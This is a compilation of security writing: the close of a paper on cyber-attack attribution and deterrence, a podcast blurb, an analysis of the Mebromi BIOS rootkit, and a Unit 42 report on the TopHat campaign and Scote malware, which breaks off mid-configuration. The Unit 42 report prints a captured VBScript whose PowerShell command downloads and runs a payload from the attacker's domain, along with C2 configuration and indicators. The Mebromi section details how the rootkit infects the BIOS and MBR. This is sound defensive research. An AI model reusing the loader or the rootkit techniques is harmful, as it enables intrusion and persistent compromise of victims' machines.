not only targeted the people involved but also "swam upstream" by targeting individuals within their targets' social networks. With compromised email or social networking accounts, the ultimate target individuals would have no reason to believe that the friends they talked with were in fact hacked accounts sending attacker malware to key victims. Adding to the severity and breadth of the attacks, a law firm involved in a U.S. suit against China for stealing proprietary code for unlicensed use in its "Green Dam" domestic internet filtering and censorship software claimed it was the victim of similar attacks. Gipson, Hoffman, & Pancione represents CYBERsitter, a software company that builds internet censoring and filtering software. CYBERsitter had filed a $2.2 billion lawsuit against China for stealing over 3,000 lines of code from its software for use in its Green Dam Youth Escort censorship software. Around the same time as the Google attacks the law firm discovered similar socially engineered attacks against their own employees by hackers seeking access to proprietary court documents. Multiple parties attributed the Aurora attacks, which were first detected in mid-December and may have begun earlier than that. Security research firm iDefense suggested that the attacks may have been occurring since July 2009. While most attacks hunger for attribution, multiple companies and security firms independently came to similar conclusions about the attacks. Google, McAfee, iDefense, Juniper Networks, Adobe Systems, and Rackspace have all identified themselves as victims of the attacks. Google publicly called China out in a blog post on 12 January 2010, decrying attacks "originating from China" attacking its corporate infrastructure, stealing intellectual property and targeting human rights activists. Google also conducted its own forensics of the attack, uncovering similar attacks against internet, finance, technology, media, and chemical companies, notifying all of the victims of what it discovered. Some have indicated that Google "hacked back" against the servers engaged in command and control of the attack in order to gain valuable intelligence about the threat. Casting a wide net, Google was able to identify that several users of its email services had their personal computers compromised by attacker malware tied to the Aurora set. Google also linked their experience to other episodes of suspected Chinese state espionage, including the GhostNet global Chinese-origin spying effort targeting pro-Tibet activists around the world that was uncovered by Canadian researchers in 2007. So enraged was Google that it announced it would stop filtering searches on its Chinese internet portal and vowed that it would rather leave China than be forced to infringe on the rights of the Chinese people. Despite denying any role in the attacks, China has recently taken action in what it claims is an independent investigation into hacking organizations. On 8 February 2010 it shut down the largest hacker training site in China, "Black Hawk Safety Net," and raided its offices. Several people were arrested and servers and cash were confiscated. This followed a public rebuke in January by Secretary of State Hillary Rodham Clinton in a speech on internet freedom that was a sharp between-the-lines attack on China for its hard-handed grip on internet activity and repression of internet freedom. ### Titan Rain Beginning in the early 2000s, probably Chinese actors systematically scanned, attacked, and infiltrated U.S. defense networks. Focusing mostly on the Department of Defense and its contractors, the attacks also targeted the Departments of State, Energy, and Homeland Security. This series of attacks was first disclosed in mid-2005, having gone on for several years before disclosure. A parade of unnamed defense officials provided information on background regarding the case. Opinions ranged from blame of the Chinese government to others who assessed that at best hackers were using Chinese networks to disguise themselves. Attackers gained access to unclassified systems on government networks. They pilfered sensitive but unclassified data from computers, including export-controlled technology. One analyst who followed the Titan Rain actors claimed that the attackers left behind cover beacons that allowed them to gain access to systems at a later date, permitting both further data collection as well as laying the foundations for a future malicious cyber attack. According to the few who would speak in detail about the attacks, the preponderance of evidence pointed to the Chinese government, as these analysts hacked back against the attackers to map their networks and steal their tools. Statements both on and off the record regarding Titan Rain highlight both the difficulties and the politics of attribution. One unnamed U.S. official asked: "Is this an orchestrated campaign by the PRC or just a bunch of disconnected hackers? We just can't say at this point." That attacks originated from China was not sufficient to assign blame to the Chinese government; the possibility that other actors were using Chinese addresses to mask themselves prevented definitive assignment of blame. The coached language and sparse details briefed by senior government officials on background also highlight the desire to keep sensitive details of the attack a secret. In the original report in the Washington Post that announced Titan Rain to the world, the author's sources made clear that legal and policy considerations, and especially a "desire to avoid giving any advantage to the hackers," prevented them from disclosing more or making a public claim of attribution. ## Lessons for Attribution Sophisticated attackers take measures to obfuscate their activity, hopping through multiple nodes and coding stealthy programs to evade detection. Infrastructure from which attacks are launched are often stolen or hacked themselves, making the job of tying the pointy end of the cyber spear back to a specific actor often impossible. Chinese attackers nearly got away with this in the case of Aurora but used sloppy tradecraft and overreached against too many targets simultaneously. Ultimately they picked the wrong opponent in Google, which was clearly enraged and not willing to swallow its pride. Less sophisticated attackers harness criminal and malicious systems like botnets, worms, Trojans, and viruses to magnify their power and distribute attack vectors around the world. The organizers of the nebulous efforts against Estonia utilized this model, turning a symbolic protest into a cyber riot riding on the back of criminal botnets and scripted attacks for anti-Estonian hackers around the world. Defense officials will not likely see naval-inspired line-of-battle attacks with flagged government war-computers matched up against opponent war-computers in a battle of tactics and wit. Cyber attacks will emerge from the cloud. Breaking through the cloud of obfuscation requires significant cyber-sleuthing resources, potential offensive "hack-back" operations, and most troublesome, time. Moonlight Maze highlighted how it may take years of passive monitoring of attacks to piece together enough bits of circumstantial evidence to tie attacks back to a region or country, let alone to a specific state actor or criminal element. Conducted properly and with appropriate stealth, attacks may never be properly diagnosed through passive means alone. Both Aurora and Titan Rain illustrated how, when combined with the political will to call it as they see it, victims can hack back in self-defense to crack through the layers of obfuscation protecting attackers. Google and McAfee did not learn the technical, scary details about the Aurora attacks merely by being attacked. They struck back, spying on the enemy and tracking the data as it was exfiltrated out of their networks. But even this took time; there was almost a month-long gap between detection of the attacks and a public announcement of attribution to China. In the event that China were to attack U.S. defense systems in a far more malicious way, disabling vital systems to cause grave non-virtual harm to the U.S., waiting a month to forensically swim upstream back to the attacker systems would not be acceptable. The case of the potential Brazilian cyber attacks on power infrastructure highlight another strain of cyber-attribution difficulties: politics. Attribution implies vulnerability. Companies and governments alike do not like to admit weaknesses, especially weaknesses that they are unable to fix in the short-term. Admitting weaknesses causes domestic political issues and especially in the realm of cyber invites malicious actors to take advantage of the announced weaknesses. If the Brazilian government or the power company were to admit that both outages were due to cyber attacks, enterprising criminal entities would begin in earnest to gain access to those systems to hold them hostage for a princely ransom. Additionally, blaming problems on physical infrastructure and taking a hit with fines may be preferable to re-engineering entire networks and the costs of increased network security. Attribution implies a capability to detect and analyze the attacker's actions. Stealthy state-sponsored cyber attack and espionage systems are designed to go unnoticed. Announcing to the world that the victim has developed the technical capacity to detect and monitor this activity will trigger a change in operating procedure for the attacker. In some cases, the known and manageable attack is preferable to the unknown and thus unmanageable attack. This is likely the case with the Titan Rain intrusion set; its disclosure probably caused much consternation at the Pentagon as it alerted the Chinese that their tools and tricks were being caught, triggering a change in behavior, tools, and standard operating procedures. Publicly declaring the identity of the assessed perpetrator of cyber attacks can be satisfying for investigators. But once the attacks start to dissipate the fears of the unknown grow. Have the attackers learned from the disclosure how to better hide their attacks? Have they stopped? Hacking back can be stealthy as well if managed properly; public attribution of attacks may cripple these efforts to aggressively uncover enemy actions, tools, and intentions. ## Conclusion - Implications for Deterrence The set of cases analyzed here demonstrate decisively that attribution of cyber attacks is technically difficult and often politically unpalatable. Established networking protocols allow easy spoofing and obfuscation of source, destination, and intent of packets as they stream around the world. Attribution, as demonstrated in these cases, is often circumstantial at best. While victims often have strong suspicions of attackers' identities built from pieces of intelligence, the decisions of war and peace involved in a deterrence policy require a higher level of confidence than a measured hunch. To reach even elementary levels of attribution significant resources, expertise, and time are required. The chilling suspicion of the unknown unknowns, the realization that undetected attacks may be underway at any moment, is potentially paralyzing to any deterrence policy. A deterrence policy of "I will attack you back if you attack me, but only if I find out that you did it" is not an appropriate cornerstone of a computer network defense strategy. Without a response, an attacker can assume that the victim is either unable to detect the attack or, even more emboldening, the victim is unable or unwilling to make good on its threat. Cyber attacks can be a powerful part of salami tactics on the part of the attacker. If attacks are unable to generate a deterrent response in the cyber realm, what other lines can the attacker cross? Addressing cases where the victim state realizes that it is being attacked, Lt. Gen. Keith Alexander, director of the National Security Agency, recently proposed that his future U.S. CYBERCOMMAND would support a deterrence doctrine by attacking back in a proportional and discriminating way against the sources of any cyber attack against the United States. He extended this case specifically to those where the identities of the attackers are unknown. According to Gen. Alexander, the U.S. will attack back in accordance with the rules of engagement and in accordance with the principles of proportionality and discrimination, with the caveat that "neither proportionality nor discrimination requires that we know who is responsible before we take defensive action." With statements like this, Gen. Alexander and others are providing a strong incentive for enemies of the U.S. to launch cyber attacks on the United States from third-party territory, hoping to lure the U.S. into conflict with a nation that had no role in or idea of the attack. What the cases analyzed in this paper illustrate is that deterrence is a phenomenally poor choice as a core component in a computer network defense strategy. Bloviation and bluster, vowing deterrent responses to attacks, make for good sound bites and allow for easy porting of deep deterrence scholarship to the cyber realm. But less flashy policies and measures are more effective. Defense in depth, better security standards for software and hardware, robust computer network intelligence systems, and information sharing between and among industry and government are all good and necessary elements of a more successful computer network defense strategy. Combined with aggressive hack-back defensive measures that work to disrupt or exploit attacker infrastructure, vital networks will be better defended and deterrence as a general national policy tool will be better preserved for realms where it is more applicable.
# Superdollars The Lazarus Heist The Smoking Dragon, a fake wedding and a divorce party. And lots of counterfeit money. **Release date:** 02 May 2021 **Available now** **Duration:** 33 minutes “Almost a perfect crime.” The hackers. A billion dollars. Investigators blame North Korea.
# Mebromi: The First BIOS Rootkit in the Wild In the past few weeks, a Chinese security company called Qihoo 360 blogged about a new BIOS rootkit hitting Chinese computers. This turned out to be a very interesting discovery as it appears to be the first real malware targeting system BIOS since a well-known proof of concept called IceLord in 2007. The malware is called Mebromi and contains a bit of everything: a BIOS rootkit specifically targeting Award BIOS, a MBR rootkit, a kernel mode rootkit, a PE file infector, and a Trojan downloader. At this time, Mebromi is not designed to infect 64-bit operating systems and it is not able to infect the system if run with limited privileges. The infection starts with a small encrypted dropper that contains five crypted resource files: hook.rom, flash.dll, cbrom.exe, my.sys, bios.sys. The goal of these files will be presented later in this analysis. The infection is clearly focused on Chinese users because the dropper is carefully checking if the system it’s going to infect is protected by Chinese security software Rising Antivirus and Jiangmin KV Antivirus. To gain access to the BIOS, the infection first needs to get loaded in kernel mode so that it can handle physical memory instead of virtual memory. Many of you may recall the old CIH/Chernobyl infection, the infamous virus discovered in 1998 that was able to flash the motherboard BIOS, erasing it. Even CIH needed to gain kernel mode access to reach the BIOS, though at the time the virus was exploiting a privilege escalation bug in the Windows 9x operating system which allowed it to overwrite the Interrupt Descriptor Table with its own payload from user mode, then triggering the overwritten interrupt handler and executing its malicious code in kernel mode. Mebromi does not use such kind of privilege escalation trick anymore; it just needs to load its own kernel mode driver which will handle the BIOS infection. To do so, it uses two methods: it could either extract and load the flash.dll library which will load the bios.sys driver, or it stops the beep.sys service key, overwriting the beep.sys driver with its own bios.sys code, restart the service key, and restore the original beep.sys code. The bios.sys driver is the code that handles the BIOS infection. To read the BIOS code, it needs to map the physical memory located at physical memory address 0xF0000, where the BIOS ROM usually resides. Once read, the driver verifies if the BIOS ROM is Award BIOS by checking the presence of the string: `$@AWDFLA`. If found, the driver tries to locate the SMI port that will be used by the rootkit to flash the BIOS ROM. If the BIOS ROM matches the string, the rootkit saves a copy of the BIOS to the file `C:bios.bin` and passes the next step to the user mode component of the infection. The dropper extracts two files: cbrom.exe and hook.rom. Cbrom.exe is a legitimate tool developed by Phoenix Technologies, used to modify the Award/Phoenix BIOS ROM binaries. Hook.rom is the rootkit ISA BIOS ROM that is added to the BIOS binary, containing the rootkit infection. The dropper executes cbrom.exe with the `/isa` switch parameter, passing the hook.rom file. Before actually injecting the malicious ISA ROM, the dropper checks the BIOS ROM code looking for the “hook rom” string, used as a marker of the infection. If found, it means that the BIOS is already infected and it doesn’t need to be infected again. After the bios.bin file has been modified, the bios.sys driver sends to the BIOS SMI port the command `0x29`, used to erase the BIOS flash, and then the command `0x2F` used to write the new BIOS ROM code to the BIOS ROM. The BIOS is now infected, and the dropper goes to its next step: infecting the Master Boot Record. The infection is 14 sectors long and the original MBR is stored in sector 7. To avoid potential startup issues, the infected MBR stores a copy of the original MBR’s partition table. Finally, the dropper extracts the my.sys driver on the root of the C: drive. My.sys is a kernel mode rootkit that hijacks disk.sys’s IRP major functions by redirecting the IRP_MJ_READ/WRITE and IRP_MJ_DEVICE_CONTROL native functions. It is used to hide the infection on the disk. Even if the BIOS infection doesn’t succeed, the rootkit does infect the MBR. At the next system startup, after the BIOS POST phase, the malicious code injected inside it prepares the full MBR infection (all the first 14 sectors are stored inside the malicious BIOS ROM, 7168 bytes in total) and checks the MBR code of the hard drive looking if the infection is already present. To do this, the BIOS malicious code checks for the presence of the string “int1” at the offset 0x92. If the string is not found, the BIOS malicious ROM will overwrite all the first 14 sectors of the hard drive, thus restoring the MBR infection. The system startup procedure continues and the control now passes to the malicious master boot record. Here the malicious payload analyzes the original MBR partition table and looks for the active partition, checking if it’s using an NTFS or FAT32 file system. The malicious MBR code contains NTFS/FAT32 parser routines, used to get inside the file system to look for winlogon.exe or wininit.exe files. When found, the malicious code contains a file infection payload, able to inject malicious code inside the specified file and hijack the entry point of it. Before infecting the file, the MBR malicious code checks if it is already infected by looking for the string “cnns” at the offset 0x50 from the beginning of the PE file. This is the infection marker. If the string is not found, the infection stores a crypted payload – about 600 bytes of code – inside winlogon.exe or wininit.exe and hijacks the PE entry point to the beginning of it, saving the original entry point at the offset 0x60. The job of the MBR infection ends here, waiting for the Windows startup which will load the patched executable. When loaded, the payload self-decrypts its malicious code and loads in memory the my.sys driver. Then it tries to download an additional infection from the (now unavailable) URL address. The concept behind Mebromi is not new. In fact, we must recall the IceLord BIOS rootkit published in 2007, a public proof of concept able to target Award BIOS ROM, using an approach very similar to the Mebromi one – or should we say that Mebromi is more than just inspired by the IceLord rootkit? Storing the malicious code inside the BIOS ROM could actually become more than just a problem for security software, given the fact that even if an antivirus detects and cleans the MBR infection, it will be restored at the next system startup when the malicious BIOS payload would overwrite the MBR code again. Developing an antivirus utility able to clean the BIOS code is a challenge because it needs to be totally error-proof to avoid rendering the system unbootable. The job of handling such specific system codes should be left to the developers of the specific motherboard model, who release BIOS updates along with specific tools to update the BIOS code. On the other hand, although this kind of infection is potentially one of the most persistent infections known out there in the wild, it will hardly become a major threat because of the level of complexity needed to achieve the goal. While a kernel mode infection or a MBR infection could still work in a generic way among all the PCs out there – and they still have a huge available free space to play with, a BIOS-based rootkit needs to be fully compatible with all major BIOS ROMs out there. It should be able to infect all the different releases of Award, Phoenix, and AMI BIOSes; a level of complexity that is simply unasked for writing a good persistent infection. In fact, why is Mebromi only targeting Award BIOS ROM? Perhaps because there was already a known proof of concept that is 5 years old targeting Award BIOS ROM available online. Are BIOS rootkits a real threat? Yes, we can consider Mebromi the first real BIOS rootkit incident discovered in the wild – let’s consider IceLord BIOS rootkit more a proof of concept. Should we be concerned about BIOS rootkits? Well, while we try to discover whether our PC is infected by an unknown and super-stealth BIOS rootkit, let’s try and look if there is a more “humble” kernel mode rootkit which is already infecting our PC, allowing a remote attacker to silently own our system.
# The TopHat Campaign: Attacks Within The Middle East Region Using Popular Third-Party Services **By Josh Grunzweig** **January 26, 2018** **Category: Unit 42** **Tags: Core, DustySky, Palestinian Territories, Scote, TopHat** ## Summary In recent months, Palo Alto Networks Unit 42 observed a wave of attacks leveraging popular third-party services Google+, Pastebin, and bit.ly. Attackers used Arabic language decoy documents related to current events within the Palestinian Territories as lures to entice victims to open and subsequently be infected by the malware. There is data indicating that these attacks are targeting individuals or organizations within the Palestinian Territories. The attacks themselves are deployed via four different means: two involving malicious RTF files, one involving self-extracting Windows executables, and the final using RAR archives. The ultimate payload is a new malware family that we have dubbed “Scote” based on strings we found within the malware samples. Scote provides backdoor access for an attacker, and we have observed it collecting command and control (C2) information from Pastebin links as well as Google+ profiles. The bit.ly links obscured the C2 URLs so victims could not evaluate the legitimacy of the final site prior to clicking it. We are calling their recent activity the “TopHat” campaign. Additionally, we tracked the apparent author testing their malware against numerous security products. Our tracking of this testing enabled us to both note changes made over time as well as to observe other malware being submitted by the author. This other malware submitted provided overlaps with the previously reported DustySky campaign. In addition to testing malicious RTFs that deploy the Scote malware family, the same attacker was witnessed submitting files that appear to be new variants of the DustySky Core malware discussed in their report. ## Malware Delivery Techniques The attacks we found within the TopHat campaign began in early September 2017. In a few instances, original filenames of the identified samples were written in Arabic. Specifically, we found the following names during this investigation: | Original Filename | Translation | |-------------------|-------------| | ﺔﻄﻠﺴﻟا ﻞﺤﺑ اﺪﺒﯾ ﺲﯪﺋﺮﻟا.rar | The president begins dissolving power.rar | | ﺔﻄﻠﺴﻟا ﻞﺤﺑ اﺪﺒﯾ ﺲﯪﺋﺮﻟا.scr | The president begins dissolving power.scr | | مﻮﯪﻟا عﺎﻤﺘﺟا ﺮﻀﺤﻣ.doc | Minutes of today's meeting.doc | We observed a series of techniques used to deploy the Scote malware family. To date, at a high level, we have observed the following four techniques, each of which we delve into in this blog: ### Technique #1 – RTFs Leveraging Bit.ly The first technique encountered included the use of malicious RTFs that made an HTTP request to the below URL which then redirected to the below malicious site (note the intentional typo of “storage”): - **URL**: http://bit[.]ly/2y3XL3P - **Redirect**: http://storgemydata[.]website/v.dat This ‘v.dat’ file was in turn a PE32 executable file that has the following SHA256 hash: **SHA256**: 862a9836450a0988bc0f5bd5042392d12d983197f40654c44617a03ff5f2e1d5 Looking at the publicly available statistics for the bit[.]ly redirect, we see the majority of activity taking place in late October of this year. Additionally, we see the majority of the downloads originating from both the Palestinian Territories as well as the United Arab Emirates. This provides clues as to who the victims are or where attackers may originate from. ### Technique #2 – Don’t Kill My Cat Attacks The second technique uses an interesting tactic that Unit 42 has not seen before. Specifically, it makes use of an attack discussed in July of this year called Don’t Kill My Cat or DKMC. DKMC can enable an attacker to load a legitimate bitmap (BMP) file that contains shellcode within it. This specific attack begins with a malicious executable file that downloads a legitimate BMP file that looks like the following: It should be noted that this is the same image used in the DKMC presentation. It would appear that the attackers simply used the default settings of this particular program. This BMP file is loaded as shellcode. The first six bytes are read as the following instructions: 1. inc edx 2. dec ebp 3. jmp loc_34D8B Code execution is then redirected to embedded shellcode. The underlying shellcode is decrypted at runtime using a 4-byte XOR key of 0x3C0922F0. The shellcode eventually loads an embedded UPX-packed executable and redirects execution to this file. This file is an instance of the Scote malware family. The size of the payload and the fact that it is embedded within the BMP file explains the large amount of distortion witnessed in the image above. In other words, the distortion witnessed is actually the shellcode and the embedded Scote malware. As this data is converted within a BMP image, we’re left with what essentially looks like random pixels. ### Technique #3 – RTFs Exploiting CVE-2017-0199 This technique begins with malicious RTF files that make use of CVE-2017-0199, a Microsoft Office/WordPad remote code execution (RCE) vulnerability patched by Microsoft in September 2017. When opened, the following lure is displayed to the victim (translation on the right provided by Google Translate): This lure is related to an event reported in late August where President Mahmoud Abbas announced plans to convert a planned presidential palace into a national library. This is consistent with the timeline of the attacks we witnessed, as the event took place roughly a week before we observed these malware samples. These RTFs will also download a file from the following location: **storgemydata[.]website/update-online/office-update.rtf** Note that this is the same domain witnessed in the redirect used in technique #1. While the downloaded file has an RTF extension, it is in fact a VBScript with the following contents: ```vbscript <script language="VBScript"> window.moveTo -4000, -4000 Set vFwhEtGt = CreateObject("Wscript.Shell") Set lfTi = CreateObject("Scripting.FileSystemObject") If 1=1 Then vFwhEtGt.Run ("PowerShell.exe -WindowStyle Hidden $d=$env:userprofile+'\\start Menu\\Programs\\Startup\\\12330718701ac441736a55e3ee3cx996.exe';(New-Object System.Net.WebClient).DownloadFile('http://storgemydata[.]website/x.exe',$d);Start-Process $d;"),0 End If window.close() </script> ``` This VBScript script executes a PowerShell command that will download and execute a file from the following location: **http://storgemydata[.]website/x.exe** This final ‘x.exe’ executable file is an instance of the Scote malware family. ### Technique #4 – Self-extracting Executables The last technique makes use of self-extracting executable files to both load a decoy document and spawn an instance of Scote. When the malware is run, it will drop a file with an original filename of ‘abbas.rtf’, which contains the following contents: Additionally, an instance of Scote is loaded on the victim machine. The decoy document used discusses the potential dissolving of the Palestinian Authority (PA) by President Mahmoud Abbas. This particular event was reported on August 23, 2017, just before Trump administration officials were set to visit Ramallah. Based on the observed statistics from the malicious redirect found in technique #1, as well as the content of this decoy document, we can infer that at least some of the targeted victims may very well be located in the Palestinian Territories. ## Analysis of the Scote Malware The Scote malware family employs a series of techniques and tricks when it is originally loaded onto a victim machine. However, underneath the various layers of obfuscation lies a fairly straightforward malware family that abuses legitimate third-party online services to host its C2 information. When Scote originally is run, it will decode embedded configuration information. This embedded configuration information contains URLs to third-party online services, such as Pastebin postings or Google+ accounts. Scote will use this information to attempt to retrieve data from these URLs and parse it. It should be noted that a total of three Google+ profiles have been observed, and all of these profiles contained the name ‘Donald Trump’. This is interesting given the topics we saw being used to deliver the Scote malware family within the TopHat campaign, many of which also referred to the President of the Palestinian Territories. After C2 information is retrieved by Scote, it will communicate with these servers and can accept commands that perform the following actions: - Kill the Scote malware - Run ‘ipconfig’ on the victim and return results - Run ‘cmd.exe /C systeminfo’ and return results - Load a DLL that is downloaded from a C2 ## Identified Malware Testing Against Security Solutions When looking at the malicious RTF documents in technique #4 that exploit CVE-2017-0199, we found that all of the files we encountered were submitted within close succession of each other to an online service that tests them against multiple security products. Additionally, the original filenames of these files implied that an attacker may have been testing their malware against one or more security products. | SHA256 | Filename | Date | |--------|----------|------| | cb6cf34853351ba62d4dd2c609d6a41c618881670d5652ffa7ddf5496e4693f0 | test1.rtf | 2017-09-06 15:00:08 UTC | | 8a158271521861e6362ee39710ac833c937ecf2d5cbf4065cb44f3232224cf64 | xx.rtf | 2017-09-06 15:00:53 UTC | | d302f794d45c2a6eaaf58ade70a9044e28bc9ec43c9f7a1088a606684b1364b5 | xx2.rtf | 2017-09-06 15:01:49 UTC | | 1cd49a82243eacdd08eee6727375c1ab83e8ecca0e5ab7954c681038e8dd65a1 | xx2.rtf | 2017-09-06 15:05:30 UTC | | d409d26cffe6ce5298956bd65fd604edf9cfa14bc3373a7bdeb47091729f09e9 | xx2.rtf | 2017-09-06 15:08:32 UTC | | aa18b8175f68e8eefa12cd2033368bc1b73ff7caf05b405f6ff1e09ef812803c | xx2.rtf | 2017-09-06 15:18:14 UTC | As we can see by the timestamps shown above, the files were submitted anywhere from one to ten minutes apart from each other. Looking closer at these files, we can see what changed between iterations. As it so happens, the first RTF file this attacker attempted to test had very few detections. However, this was due to the fact that the attempts at commenting out the backslashes caused this file to not open at all within Microsoft Word. When you attempt to open this file, Word will simply render the content as it would a normal text file. It appeared that the attacker realized this, as he or she quickly corrected this and proceeded to make very minor modifications to try and evade security products. However, none of the modifications were terribly effective: all of these samples were found to have a high rate of detection. ## Overlap with the DustySky Campaign Besides being able to witness the attacker testing his or her malware, we noticed something interesting when we were looking at the individual who submitted these files. About a month and a half after these files were submitted, the same individual submitted the following three samples that we attribute to the DustySky campaign: - 202d1d51254eb13c64d143c387a87c5e7ce97ba3dcfd12dd202a640439a9ea3b - d18e09debde4748163efa25817b197f3ff0414d2255f401b625067669e8e571e - 3e4d0ffdde0b5db2a0a526730ff63908cefc9634f07ec027c478c123912554bb DustySky is a campaign published by ClearSky in January 2016 that discusses a politically motivated group that primarily targets organizations within the Middle East. The group has remained active since they were originally reported on, including a campaign identified by Unit 42 earlier this year. These files appear to be new variants of the DustySky Core malware discussed in the report and they communicate with the following domains over HTTPS: - fulltext.yourtrap[.]com - checktest.www1[.]biz The malware is dropped via a self-extracting executable, which contains an empty decoy document with the following name: **ﻦﯿﻄﺴﻠﻔﻟ ﺎﺴﯿﺋر نﻼﺣد نﻼﻋاو ﺔﯾدﻮﻌﺴﻟا ﻲﻓ سﺎﺒﻋ ﺲﯪﺋﺮﻟا زﺎﺠﺘﺣا ﻦﻋ ءﺎﺒﻧا.docx** This can roughly be translated to: **News of the detention of President Abbas in Saudi Arabia and Dahlan's declaration as President of Palestine.docx** As we can see, the name of this decoy document is consistent with the lures witnessed in the TopHat campaign. ## Conclusion Attackers often are found to leverage current events to accomplish their goal. In the TopHat campaign, we have observed yet another instance where a threat actor looks to be using political events to target individuals or organizations within the Palestine region. This campaign leveraged multiple methods to deploy a previously unseen malware family, including some relatively new tactics in the case of using a legitimate BMP file to load malicious shellcode. The new malware family, which we have dubbed Scote, employs various tricks and tactics to evade detection but provides relatively little functionality to the attackers once deployed. This may well be due to the fact it is still under active development. Scote uses some interesting methods when retrieving C2 information, including the use of Pastebin and Google+ accounts, as well as using bit.ly links to obscure the C2 URLs so victims could not evaluate the legitimacy of the final site prior to clicking it. The TopHat campaign was found to have some overlaps discovered with the previously reported DustySky campaign when the attacker was identified to be submitting their files for testing purposes. Unit 42 will continue to track and monitor this threat and will report on any developments that occur. ## Appendix ### Indicators of Compromise **SHA256 Hashes** - d3ead67228b3d7968ac767648b46a8e906affa0ebb5cc69f7acbed475a97204c - 03e2b932c013252fa2eb5e35390f9e21d0ff87e5b1c01683ebce0e8ce9b8d6df - 4df9488fbdfaf5d05fda65175a6b6e5331c58c967adbe972aa46c64b4fd0b1bb - 0dde9940f7896c2e4fb881dd185c3c3db280a9fd2ac2cb81988f43f5b0f6fcf7 - 613da5f745c281acbffa4375e96394f8c912f58f92afe347e8a1f10fad3489bb - d0f2d2d7d82c91fe64a64552e0e6200a096230fb6a64a1307928ae33ab2a5bf8 - 7b6347093b27174e27228c2fde7d39e02d57315b354461aaf1dee3f0800fdfc3 - bdc633fe3145d87036ad759be855771d5bb3ca592cecca9ef7f41454d7cf9f05 - ed9c62f77055a2498aec681b5653240be534595b97a9d11e92371639b0ca9a48 - 7a1fa34ca804492415579c3ed4f505a7f09fcd7bc834590cff86e2ce77c4fc73 - 862a9836450a0988bc0f5bd5042392d12d983197f40654c44617a03ff5f2e1d5 - 3540c2f0765773fa0a822fcf5fed5ed2a363ad11291a66ab1b488c9a4aa857f9 **Domains** - storgemydata[.]website ### Scote Technical Analysis For the technical analysis, we used the following sample: **SHA256**: 3540c2f0765773fa0a822fcf5fed5ed2a363ad11291a66ab1b488c9a4aa857f9 This particular sample begins as a self-extracting executable. When run, it will drop a ‘e.exe’ sample and execute the following SFX script commands: 1. Path=%userprofile%\start menu\programs\startup\ 2. Setup=e.exe 3. Silent=1 4. Overwrite=1 5. Update=U For those unfamiliar with SFX commands, the series of commands above is silently deploying e.exe to the startup path. It will overwrite any instances where e.exe already exists in this path. The ‘e.exe’ file is compiled in Delphi and has the following SHA256 hash: **SHA256**: 9580d15a06cd59c01c59bca81fa0ca8229f410b264a38538453f7d97bfb315e7 When run, ‘e.exe’ will periodically decrypt strings at runtime using a simple single-byte XOR routine. While the routine allows for different bytes to be used, the author chose to use a key of 0xFF in every observed instance. The malware proceeds to get the address of the NtDelayExecution function from ntdll.dll. This function is used by Sleep to cause a delay in program execution. After this function address has been resolved, it will overwrite the first five bytes to jump to a malicious function. The malware proceeds to make a call to Sleep with an argument of 1, thus redirecting execution to this malicious function. This is likely an attempt at thwarting anti-virus and security solutions; however, it has the adverse effect of preventing the malware from making subsequent calls to Sleep. This malicious function continues to decode more strings using the single-byte XOR technique. Additionally, it will copy the following functions out of ntdll.dll for later use: - ZwCreateUserProcess - ZwAllocateVirtualMemory - ZwWriteVirtualMemory - ZwGetContextThread - ZwSetContextThread - ZwResumeThread A large blob of encrypted data is decrypted using a modified version of RC4. The following Python code may be used to decrypt this data. The key has consistently been observed to be “qlNwuFVA9K8HpGNY6x0I”. ```python import base64 import binascii import hexdump import sys def rc4_crypt(data, key): S = range(256) j = 0 out = [] for i in range(256): j = (j + S[i] + ord(key[i % len(key)])) % 256 S[i], S[j] = S[j], S[i] i = 0 for char in data: j = (S[i % 256] + j) % 256 t = S[i % 256] S[i % 256] = S[j] S[j] = t out.append(chr(ord(char) ^ S[(S[i % 256] + S[j]) % 256])) i += 1 return ''.join(out) file = sys.argv[1] f = open(file, 'rb') fd = f.read() f.close() output = rc4_crypt(fd, "qlNwuFVA9K8HpGNY6x0I") f = open("decrypted_data.bin", 'wb') f.write(output) f.close() ``` This decrypted code is then copied to a newly allocated block of memory before execution flow is redirected to it. When this newly decrypted code is called, it is provided with a string argument containing the path to svchost.exe. This new code is shellcode that will eventually decrypt an executable file and inject it into a newly spawned svchost.exe process. The shellcode in question makes certain decisions by the author that demonstrates a lack of sophistication. For example, it will load a series of libraries and functions using a common ROR13 technique. This technique begins with the attacker taking a string of a library or function, such as ‘CreateProcessA’, and performing a binary ROR13 against it. This shellcode uses the same approach; however, instead of providing the hardcoded DWORDs, it instead provides the clear-text library and function names, which then have the ROR13 applied. The resulting DWORD is then used. Unfortunately, this completely cancels out any obfuscation that might have originally been present. After the various libraries and functions are loaded, the shellcode decodes an embedded blob of data using a multi-byte XOR operation. The original key for this operation appears to have been ‘Houdini’; however, due to a likely mistake by the author, after the first iteration, a key of ‘oudini\x00’ is used instead. The following example Python code decodes this data found within the shellcode: ```python import sys from itertools import cycle, izip def xor(message, key): return ''.join(chr(ord(c) ^ ord(k)) for c, k in izip(message, cycle(key))) def decode(data, size): out = "" key = "oudini\x00" b1 = xor(data[0], "H") b2 = xor(data[1:size], key) b = b1 + b2 for bite in b: out += chr((ord(bite) + 128) & 0xff) return out file = sys.argv[1] f = open(file, 'rb') fd = f.read() f.close() size = 54272 output = decode(fd, size) f1 = "embeddedShellcode.bin" fh = open(f1, 'wb') fh.write(output) fh.close() ``` This decoded blob is a Microsoft Windows executable that contains the Scote payload. After this blob is decoded, a new instance of svchost.exe is spawned in a suspended state. The Scote payload is injected into this process prior to resuming it. Scote begins by loading and decoding an embedded resource string. It is decoded first using base64 with a customized alphabet. The result is then base64-decoded using the traditional alphabet. The following alphabet is used for the first phase of decoding: ``` 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz+/ ``` Once decoded, we’re provided with the following configuration: ``` [config] [connection] [param]http://pastebin[.]com/raw/2cLsuXj6[/param] [param]http://pastebin[.]com/raw/trZZJTGA[/param] [/connection] [install_name]e3HGAiPJ[/install_name] [nick_name]4c1h7vLX[/nick_name] [install_folder]noinstall[/install_folder] [reg_startup]false[/reg_startup] [folder_startup]false[/folder_startup] [task_startup]false[/task_startup] [injection]true[/injection] [injection_process]svchost[/injection_process] ``` The configuration is parsed to determine if there are any connection ‘param’ parameters provided. In the event that there are, Scote will attempt to download the contents of these URLs via a simple GET request. These pastebin URLs contained the following information, IPs have been defanged: ``` scout{ 5.175.214[.]9:22 5.175.214[.]9:23 5.175.214[.]9:25 5.175.214[.]9:53 5.175.214[.]9:6000 5.175.214[.]9:80 } elite{ 